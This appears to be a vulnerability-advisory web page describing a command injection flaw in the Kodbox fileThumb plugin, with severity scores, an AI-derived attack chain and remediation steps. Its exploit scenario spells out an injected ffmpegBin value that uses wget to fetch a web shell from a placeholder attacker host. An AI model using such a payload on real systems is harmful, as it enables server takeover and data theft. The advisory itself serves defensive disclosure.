EUVD-2026-30698
GHSA-83hf-596r-v39j
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid Kodbox credentials
-
DeliveryAuthenticate to web interface
-
ExploitUpload video file to trigger fileThumb plugin
-
ExecutionInject shell metacharacters in ffmpegBin parameter
-
PersistExecute arbitrary system commands
-
ImpactEstablish persistence or exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated access with low-privilege user credentials (PR:L) is required - attackers must have valid login credentials to the Kodbox instance but do not need administrative privileges. The fileThumb plugin must be enabled and configured for video processing, as the vulnerable parseVideoInfo function is only invoked during video thumbnail generation workflows. Specifically, the application must process user-uploaded video files or user-triggered video transcoding requests that reach the /workspace/source-code/plugins/fileThumb/lib/VideoResize.class.php component. Network connectivity (AV:N) allows remote exploitation without local system access. No user interaction (UI:N) is required beyond the attacker's own authenticated session. Limiting factors: authentication requirement prevents anonymous internet-wide exploitation, reducing exposure compared to unauthenticated RCE. However, in shared hosting, multi-tenant, or any scenario where untrusted users have legitimate accounts, this becomes a privilege escalation vector from user-level access to command execution at application service account level. |
| Impact | Medium-severity risk requiring prioritization for Kodbox deployments. CVSS base score of 6.3 reflects network-based attack vector with low complexity but requires low-privilege authentication (AV:N/AC:L/PR:L), limiting exposure to scenarios where attackers have valid user credentials. However, the temporal score component E:P confirms proof-of-concept exploit exists and has been publicly disclosed per VulDB references, significantly elevating practical risk. The RL:X (remediation level unavailable) metric is concerning - vendor non-responsiveness means no official patch timeline exists. Impact is rated limited across confidentiality, integrity, and availability (C:L/I:L/A:L), suggesting command execution runs in application context rather than root, but attackers can still read files, modify data, or disrupt service within that scope. Key risk factors: (1) public exploit lowers attacker skill requirements, (2) vendor silence creates uncertainty about fix availability, (3) authenticated access requirement provides partial mitigation but doesn't eliminate risk in multi-tenant or compromised-account scenarios. Organizations should treat this as exploitable within their threat model if users can upload or process video files. |
| Exploit ScenarioDerived | An authenticated attacker with low-privilege user credentials logs into a Kodbox instance and uploads a video file to trigger thumbnail generation. During the upload process, the attacker intercepts the request and modifies the ffmpegBin parameter in the POST data to inject malicious commands, such as setting ffmpegBin to '/usr/bin/ffmpeg; wget http://attacker.com/shell.php -O /var/www/kodbox/webshell.php;'. When VideoResize.class.php executes the parseVideoInfo function, it passes the manipulated parameter to a shell command without sanitization, resulting in both legitimate FFmpeg execution and the attacker's injected commands running on the server. The attacker gains the ability to write a web shell, exfiltrate configuration files containing database credentials, or establish persistent access. Public exploit code at https://vulnplus-note.wetolink.com/share/R0hHqwMywhsm provides step-by-step attack instructions, lowering the technical barrier for exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 17, 2026
Remote command injection in Kodbox fileThumb plugin (versions up to 1.64) allows authenticated attackers to execute arbitrary system commands by manipulating the ffmpegBin parameter in video processing functions. Publicly available exploit code increases immediate risk. EPSS data not available, but CVSS temporal metrics indicate confirmed proof-of-concept exploitation (E:P). Vendor has not responded to disclosure, leaving patch status uncertain.
RemediationAI
No vendor-released patch identified at time of analysis - kalcaddle has not responded to vulnerability disclosure per VulDB submission 810109. Organizations must implement compensating controls immediately: (1) Disable the fileThumb plugin entirely if video thumbnail generation is not business-critical, eliminating the attack surface but removing preview functionality. (2) Restrict access to video upload and processing features to only highly trusted administrator accounts through role-based access controls, reducing the pool of potential authenticated attackers but not preventing abuse by compromised credentials. (3) Implement Web Application Firewall rules to block requests containing shell metacharacters (semicolons, pipes, backticks, dollar signs) in parameters processed by /plugins/fileThumb/ endpoints, though sophisticated encoding bypasses may evade pattern matching. (4) Deploy application-level input validation to whitelist only expected FFmpeg binary paths (e.g., /usr/bin/ffmpeg) and reject any path containing traversal sequences or special characters, though this requires code modification. (5) Run the Kodbox application with minimal filesystem permissions and consider containerization to limit command execution impact. Monitor vendor channels at https://kodcloud.com for future patches and consider migrating to maintained alternatives if vendor remains unresponsive. Reference the technical analysis at https://vulnplus-note.wetolink.com/share/R0hHqwMywhsm for exploit specifics when designing mitigations.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Kodbox is a PHP-based private cloud storage and file management system. The vulnerability resides in the fileThumb plugin's VideoResize.class.php component, specifically the parseVideoInfo function responsible for processing video thumbnails. The flaw is a classic command injection (CWE-77) where user-controlled input to the ffmpegBin argument is not properly sanitized before being passed to system command execution functions. FFmpeg is a multimedia framework commonly invoked via shell commands for video transcoding tasks. When application code constructs shell commands by concatenating user input without validation or escaping, attackers can inject additional commands using shell metacharacters (semicolons, pipes, backticks). The affected CPE (cpe:2.3:a:kalcaddle:kodbox) identifies this as a kalcaddle vendor product, with versions through 1.64 confirmed vulnerable.
Know when Kodbox gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A security vulnerability has been detected in kalcaddle Kodbox up to 1.64. This issue affects the function parseVideoInfo of the file /workspace/source-code/plugins/fileThumb/lib/VideoResize.class.php of the component fileThumb Plugin. The manipulation of the argument ffmpegBin leads to command injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
kodbox 1.46.01 has a security flaw that enables user enumeration. Rated critical severity (CVSS 9.8), this vulnerability
A vulnerability was found in kodbox 1.26. Rated high severity (CVSS 8.0), this vulnerability is low attack complexity. P
A vulnerability was found in kalcaddle kodbox up to 1.48. Rated critical severity (CVSS 9.8), this vulnerability is remo
A vulnerability was found in kalcaddle kodbox up to 1.48. Rated critical severity (CVSS 9.8), this vulnerability is remo
Improper authorization in KodBox 1.67 Build 02 allows unauthenticated remote attackers to bypass access controls via the
An issue in kodbox v.1.52.04 and before allows a remote attacker to obtain sensitive information via the captcha feature
kodbox 1.2.x through 1.3.7 has a Sensitive Information Leakage issue. Rated high severity (CVSS 7.5), this vulnerability
Improper authentication in the password-protected share handler of Kalcaddle Kodbox 1.64 allows remote attackers to bypa
Improper authentication in the two-factor authentication verification function of Kalcaddle Kodbox 1.64 allows remote at
Server-side request forgery (SSRF) in Kalcaddle Kodbox up to version 1.64 allows unauthenticated remote attackers to per
An unrestricted file upload vulnerability exists in Kalcaddle Kodbox 1.64 within the Public Share Handler component's us
Kalcaddle Kodbox 1.64 contains a cryptographic key hardcoding vulnerability in the Site-level API key Handler component
Exploit-DB